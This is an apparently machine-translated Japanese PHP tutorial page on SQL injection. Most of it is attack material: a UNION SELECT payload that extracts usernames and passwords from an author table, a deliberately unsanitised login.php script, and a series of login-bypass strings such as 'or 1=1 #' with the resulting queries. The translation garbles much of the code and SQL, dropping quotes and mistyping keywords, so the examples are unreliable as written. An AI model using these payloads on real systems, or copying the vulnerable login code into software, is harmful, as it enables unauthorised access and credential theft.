ホームページ >バックエンド開発 >PHPチュートリアル >PHPインジェクション2_PHPチュートリアル
インジェクションステートメントを作成しましょう
入力ボックスに
a% と 1=2 Union select 1,username,3,4,5,6,7,8,password,10,11 from
alphaauthor# を入力して、 SQL ステートメント
select * from alphadb where title like %a% and 1=2 Union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
結果は次のようになります図 17 に示されています
どうですか、出てきてください、ははは、すべてが制御されています。
C: インジェクション位置からさまざまなインジェクション攻撃方法を見てみましょう
1) まず、バックグラウンドログインを見てみましょう
最初にコードを作成します
//login.php
....
$query= select * alphaauthor より、UserName= "
.$HTTP_POST_VARS["UserName"]." および
Password= ". $HTTP_POST_VARS["Password"].";
$result=mysql_query($query);
$data= mysql_fetch_array( $result);
if ($data)
{
echo "バックエンドログインが成功しました";
esle
{
exit;
?>
ユーザー名とパスワードは何も処理せずに直接 SQL に入力されて実行されます。
それを回避する方法を見てみましょう?
最も古典的なものは依然として次のとおりです:
ユーザー名とパスワードの両方のボックスに
'or =
と入力し、それを SQL ステートメントに取り込んで
select * from alphaauthor where UserName= or = and Password= or =
Inこのようにして、$ を取得します。データは true である必要があります。これは、正常にログインしたことを意味します。
他のバイパス方法もありますが、原理は同じで、$data が true を返す方法を見つけるだけです。
次の方法を使用できます
1.
ユーザー名とパスワードの両方を入力するか、a = a
Sql は
select * from alphaauthor where UserName= or a = a and Password=
または a = a
2. 両方のユーザー名を入力します。およびパスワードまたは 1=1 および ' =
Sql は
select * from alphaauthor になります。ここで UserName= または 1=1 および ' =
およびパスワード= または 1=1 および ' =
ユーザー名とパスワードの両方を入力するか、2>1 および ' =
Sql は
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3 になります
Username input or 1=1 # Password はオプションです 入力
Sql は
select になります。 * alphaauthor より、UserName= または 1=1 # および
Password= 任意
後半部分はコメントアウトされていますが、もちろん戻り値は true です。
4.
http://www.bkjia.com/PHPjc/631789.html